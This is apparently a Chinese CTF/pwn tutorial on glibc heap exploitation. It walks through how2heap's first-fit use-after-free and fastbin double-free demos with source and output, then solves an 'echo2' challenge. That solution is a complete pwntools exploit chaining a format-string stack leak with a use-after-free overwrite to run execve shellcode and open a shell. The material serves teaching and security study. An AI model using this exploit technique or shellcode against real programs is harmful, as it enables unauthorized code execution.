天天看點

[pwn] 9.堆利用基礎

文章目錄

  • ​​環境搭建​​
  • ​​first_fit(use after free)​​
  • ​​fastbin_dup_into_stack(double free)​​
  • ​​fmtstr_uaf​​

環境搭建

​git clone https://github.com/shellphish/how2heap.git​

first_fit(use after free)

源碼

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
  fprintf(stderr, "This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.\n");
  fprintf(stderr, "glibc uses a first-fit algorithm to select a free chunk.\n");
  fprintf(stderr, "If a chunk is free and large enough, malloc will select this chunk.\n");
  fprintf(stderr, "This can be exploited in a use-after-free situation.\n");

  fprintf(stderr, "Allocating 2 buffers. They can be large, don't have to be fastbin.\n");
  char* a = malloc(0x512);
  char* b = malloc(0x256);
  char* c;

  fprintf(stderr, "1st malloc(0x512): %p\n", a);
  fprintf(stderr, "2nd malloc(0x256): %p\n", b);
  fprintf(stderr, "we could continue mallocing here...\n");
  fprintf(stderr, "now let's put a string at a that we can read later \"this is A!\"\n");
  strcpy(a, "this is A!");
  fprintf(stderr, "first allocation %p points to %s\n", a, a);

  fprintf(stderr, "Freeing the first one...\n");
  free(a);

  fprintf(stderr, "We don't need to free anything again. As long as we allocate smaller than 0x512, it will end up at %p\n", a);

  fprintf(stderr, "So, let's allocate 0x500 bytes\n");
  c = malloc(0x500);
  fprintf(stderr, "3rd malloc(0x500): %p\n", c);
  fprintf(stderr, "And put a different string here, \"this is C!\"\n");
  strcpy(c, "this is C!");
  fprintf(stderr, "3rd allocation %p points to %s\n", c, c);
  fprintf(stderr, "first allocation %p points to %s\n", a, a);
  fprintf(stderr, "If we reuse the first allocation, it now holds the data from the third allocation.\n");
}      

輸出

This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.
glibc uses a first-fit algorithm to select a free chunk.
If a chunk is free and large enough, malloc will select this chunk.
This can be exploited in a use-after-free situation.
Allocating 2 buffers. They can be large, don't have to be fastbin.
1st malloc(0x512): 0x88c010
2nd malloc(0x256): 0x88c530
we could continue mallocing here...
now let's put a string at a that we can read later "this is A!"
first allocation 0x88c010 points to this is A!
Freeing the first one...
We don't need to free anything again. As long as we allocate smaller than 0x512, it will end up at 0x88c010
So, let's allocate 0x500 bytes
3rd malloc(0x500): 0x88c010
And put a different string here, "this is C!"
3rd allocation 0x88c010 points to this is C!
first allocation 0x88c010 points to this is C!
If we reuse the first allocation, it now holds the data from the third allocation.      

原理

[pwn] 9.堆利用基礎

a被free後,指針a還指向原來的位址,後來給c配置設定的區域和a開始位址一緻,是以a和c指針指向相同的位置

fastbin_dup_into_stack(double free)

源碼

#include <stdio.h>
#include <stdlib.h>

int main()
{
  fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
         "returning a pointer to a controlled location (in this case, the stack).\n");

  unsigned long long stack_var;

  fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);

  fprintf(stderr, "Allocating 3 buffers.\n");
  int *a = malloc(8);
  int *b = malloc(8);
  int *c = malloc(8);

  fprintf(stderr, "1st malloc(8): %p\n", a);
  fprintf(stderr, "2nd malloc(8): %p\n", b);
  fprintf(stderr, "3rd malloc(8): %p\n", c);

  fprintf(stderr, "Freeing the first one...\n");
  free(a);

  fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
  // free(a);

  fprintf(stderr, "So, instead, we'll free %p.\n", b);
  free(b);

  fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
  free(a);

  fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
    "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
  unsigned long long *d = malloc(8);

  fprintf(stderr, "1st malloc(8): %p\n", d);
  fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
  fprintf(stderr, "Now the free list has [ %p ].\n", a);
  fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
    "so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
    "so that malloc will think there is a free chunk there and agree to\n"
    "return a pointer to it.\n", a);
  stack_var = 0x20;

  fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
  *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

  fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
  fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}      

結果

This file extends on fastbin_dup.c by tricking malloc into
returning a pointer to a controlled location (in this case, the stack).
The address we want malloc() to return is 0x7ffcb404df58.
Allocating 3 buffers.
1st malloc(8): 0x1c5b010
2nd malloc(8): 0x1c5b030
3rd malloc(8): 0x1c5b050
Freeing the first one...
If we free 0x1c5b010 again, things will crash because 0x1c5b010 is at the top of the free list.
So, instead, we'll free 0x1c5b030.
Now, we can free 0x1c5b010 again, since it's not the head of the free list.
Now the free list has [ 0x1c5b010, 0x1c5b030, 0x1c5b010 ]. We'll now carry out our attack by modifying data at 0x1c5b010.
1st malloc(8): 0x1c5b010
2nd malloc(8): 0x1c5b030
Now the free list has [ 0x1c5b010 ].
Now, we have access to 0x1c5b010 while it remains at the head of the free list.
so now we are writing a fake free size (in this case, 0x20) to the stack,
so that malloc will think there is a free chunk there and agree to
return a pointer to it.
Now, we overwrite the first 8 bytes of the data at 0x1c5b010 to point right before the 0x20.
3rd malloc(8): 0x1c5b010, putting the stack address on the free list
4th malloc(8): 0x7ffcb404df58      

原理

fastbin防止double free的做法是隻檢查相鄰兩個free chunk是否一樣

如果free同一個chunk中間先free另一個chunk就可以繞過防護

[pwn] 9.堆利用基礎

fmtstr_uaf

[pwn] 9.堆利用基礎
[pwn] 9.堆利用基礎
[pwn] 9.堆利用基礎
[pwn] 9.堆利用基礎

程式執行main時會先malloc記憶體,大小為0x28.根據程式的邏輯漏洞,可以先選擇退出,這時會free,然後選擇n.再執行echo3時,會申請到剛在free的記憶體塊.即實作了use aftre free.

在進入while循環之前,記憶體配置設定如下

[pwn] 9.堆利用基礎

選擇exit之後malloc到的記憶體會先被free到fast bin上

[pwn] 9.堆利用基礎

然後選擇n不退出,然後選擇echo3中,malloc了0x20的記憶體,這塊記憶體就是剛才free掉的.

但是隻能操作前4塊,即到greetings,但是已經夠了.

同時s和o都指向了這塊記憶體區域

[pwn] 9.堆利用基礎

這個時候就可以修改greetings的内容為自己寫的shellcode的位址,然後再執行echo2就會執行shellocode了.

from pwn import *

p=process("./echo2")
p.recvuntil("hey, what's your name? : ")
shellcode=b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
p.sendline(shellcode)
p.recvuntil(b"> ")
p.sendline(b"2")

payload=b"%10$p"+b"A"*4
# 把ebp位址洩露出來
p.sendline(payload)
p.recvuntil(b"0x")
# ebp-0x20
shellcode_addr=int(p.recvuntil(b'AAAA',drop=True),16)-0x20
# 擷取shellcode的位址
# b'AAAA'是為了後續接收recvuntil好控制

p.recvuntil(b"> ")
p.sendline(b"4")
p.recvuntil(b"to exit? (y/n)")
p.sendline(b"n")

p.recvuntil(b"> ")
p.sendline(b"3")
p.recvuntil(b"hello \n")
p.sendline(b"A"*24+p64(shellcode_addr))
# 24是偏移
p.interactive()